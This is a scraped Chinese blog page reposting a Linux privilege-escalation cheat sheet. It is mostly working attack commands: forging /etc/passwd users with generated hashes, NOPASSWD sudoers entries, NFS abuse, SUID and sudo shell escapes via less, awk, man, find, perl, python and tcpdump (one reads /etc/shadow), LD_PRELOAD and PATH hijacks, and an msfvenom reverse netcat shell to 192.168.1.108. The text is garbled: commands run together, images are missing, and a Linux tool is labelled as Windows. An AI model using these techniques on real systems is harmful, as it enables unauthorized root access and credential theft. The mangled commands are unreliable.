首页 » PHP教程 » siftphplinux技巧_那些风流的Linux权限提升技巧

siftphplinux技巧_那些风流的Linux权限提升技巧

访客 2024-11-30 0

扫一扫用手机浏览

文章目录 [+]

++可以看到可用用户++

添加用户(查看用户信息)

==这里是正文==

siftphplinux技巧_那些风流的Linux权限提升技巧

条件:用户具有读/写/etc/passwd权限这里我用root考试测验

siftphplinux技巧_那些风流的Linux权限提升技巧
(图片来自网络侵删)
手动修正etc/passwd文件

/etc/group文件中对其进行处理

设置密码

由于我们在不该用adduser命令的情形下手动创建了一个新用户syst1m,因此在/etc/shadow文件中找不到任何有关信息。
但是它在/etc/passwd文件中,此处符号已被加密密码值更换。
通过这种办法,我们可以创建自己的用户以进行权限提升。

无法实行passwd命令设置用户密码

1.Opensslopenssl passwd -1 -salt user3 pass1232.mkpasswdmkpasswd -m SHA-512 pass3.Pythonpython -c 'import crypt; print crypt.crypt("pass", "$6$salt")4.Perlperl -le 'print crypt("pass123", "abc")'5.PHPphp -r "print(crypt('aarti','123') . \"\n\");"修正号处的密码即可

配置缺点的NFS的Linux权限升级

核心文件(/etc/exports,/etc/hosts.allow和/etc/hosts.deny.要配置弱的NFS做事器,只查看/etc/export文件)

环境配置(安装nfs)

编辑/etc/export

etc/export文件

扫描NFS共享

1.NMAP

nmap -sV --script=nfs-showmount 192.168.1.1

2.showmount

利用NFS做事器进行提权技巧

1.Bash文件

2.C程序(来源互联网)

3.Nano/Vi(来源互联网)

4.Sudoers文件nano -p /etc/sudoersignite ALL=(ALL:ALL) NOPASSWD: ALL

通过自动脚本快速识别Windows系统上潜在的权限提升选项LinuEnum

git clone https://github.com/rebootuser/LinEnum.git

Linuxprivchecker(列举系统配置并运行一些权限提升检讨)

wget http://www.securitysift.com/download/linuxprivchecker.py

Linux Exploit Suggester 2(返回可能的漏洞利用列表)

Bashark

BeRoot

git clone https://github.com/AlessandroZ/BeRoot.git

用于检讨常见的缺点配置,以找到提升权限的方法检讨文件权限SUID binNFS root压缩DockerSudo规则内核利用

./beroot.py

Cron操持任务Linux权限技巧环境

利用

Crontab Tar通配符注射

https://xz.aliyun.com/t/2401

利用SUID二进制文件进行Linux提权利用 "cp"进行提权

第一种方法(复制passwd)

1.探求具有SUID的文件

复制passwd

3.下载修正并让目标下载更换

第二种方法(传输后门)

天生反向连接(利用操持任务bash)msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R

利用Find命令进行提权环境

利用vim进行提权环境

利用

==sudoers文件==

Other

nano修正passwd

运行suid脚本

老版本的nmap(2.02-5.21)nmap --interactivelshwhoamimsf exploit/unix/local/setuid_nmap

bashnash -pid

lessless /etc/passwd!/bin/sh

moremore /home/pelle/myfile!/bin/bash

AWk `awk 'BEGIN {system("/bin/bash")}`

manman passwd!/bin/bash

mantcpdumpecho $'id\ncat /etc/shadow' > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root利用sudo进行Linux提权

/etc/sudoers文件(sudo权限的配置文件)

检讨用户sudo权限

sudo -l

传统分配root权限方法

visudoraaz ALL=(ALL:ALL) ALL/raaz ALL=(ALL)ALLsudo suid

分配root权限默认方法

visudoraaz ALL=ALL/raaz ALL=(root) ALLsudo su / sudo bash

技巧许可二进制命令的root权限

raaz ALL=(root) NOPASSWD: /usr/bin/findsudo find /home -exec /bin/bash \;id

许可二进制程序的root权限

raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

perlsudo perl -e 'exec "/bin/bash";'pythonsudo python -c 'import pty;pty.spawn("/bin/bash")lesssudo less /etc/hosts编辑器中输入!bash,按enter天生awksudo awk 'BEGIN {system("/bin/bash")}'mansudo man man编辑器中输入!bash,按enter天生visudo vi编辑器中输入!bash,按enter天生

许可shell脚本的root权限

sudo /bin/script/asroot.pyid

许可其他程序的sudo权限

raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

环境天生shell

sudo env /bin/bashftpsudo ftp! /bin/bashwhoami

通过SCP天生shellscp SourceFile user@host:~/目录路径

## 利用LD_Preload提权

打开/etc/sudoersvisudotest ALL=(ALL:ALL) NOPASSWD: /usr/bin/findDefaults env_keep += LD_PRELOAD利用新建shell.c利用gcc编译

实行

## 利用通配符提权

星号匹配文件名中的任意数量的字符,包括无? 问号匹配任何单个字符[] 括号内包含一组字符,个中任何一个字符都可以匹配该位置的单个字符- []中利用的连字符表示字符范围〜 字符开头的~扩展为主目录的名称。
将另一个用户的登录名附加到该字符中,它指的是该用户的主目录

在野通配符

文件挟制示例

1.文件所有者通过Chown挟制

普通用户

root用户

## 利用PATH变量进行提权

查看干系用户路径echo $PATH

PATH变量提权方法一demo.c

权限提升

查见地式

1.echo天生root权限

复制命令

symlink命令

标签:

相关文章

执业药师试卷代码解码药师职业发展之路

执业药师在药品质量管理、用药安全等方面发挥着越来越重要的作用。而执业药师考试,作为进入药师行业的重要门槛,其试卷代码更是成为了药师...

PHP教程 2025-02-18 阅读1 评论0

心灵代码主题曲唤醒灵魂深处的共鸣

音乐,作为一种独特的艺术形式,自古以来就承载着人类情感的表达与传递。心灵代码主题曲,以其独特的旋律和歌词,唤醒了无数人的灵魂深处,...

PHP教程 2025-02-18 阅读1 评论0

探寻福建各市车牌代码背后的文化内涵

福建省,地处我国东南沿海,拥有悠久的历史和丰富的文化底蕴。在这片充满魅力的土地上,诞生了许多具有代表性的城市,每个城市都有自己独特...

PHP教程 2025-02-18 阅读1 评论0

探寻河北唐山历史与现代交融的城市之光

河北省唐山市,一座地处渤海之滨,拥有悠久历史和独特文化的城市。这里既是古丝绸之路的起点,也是中国近代工业的发源地。如今,唐山正以崭...

PHP教程 2025-02-18 阅读1 评论0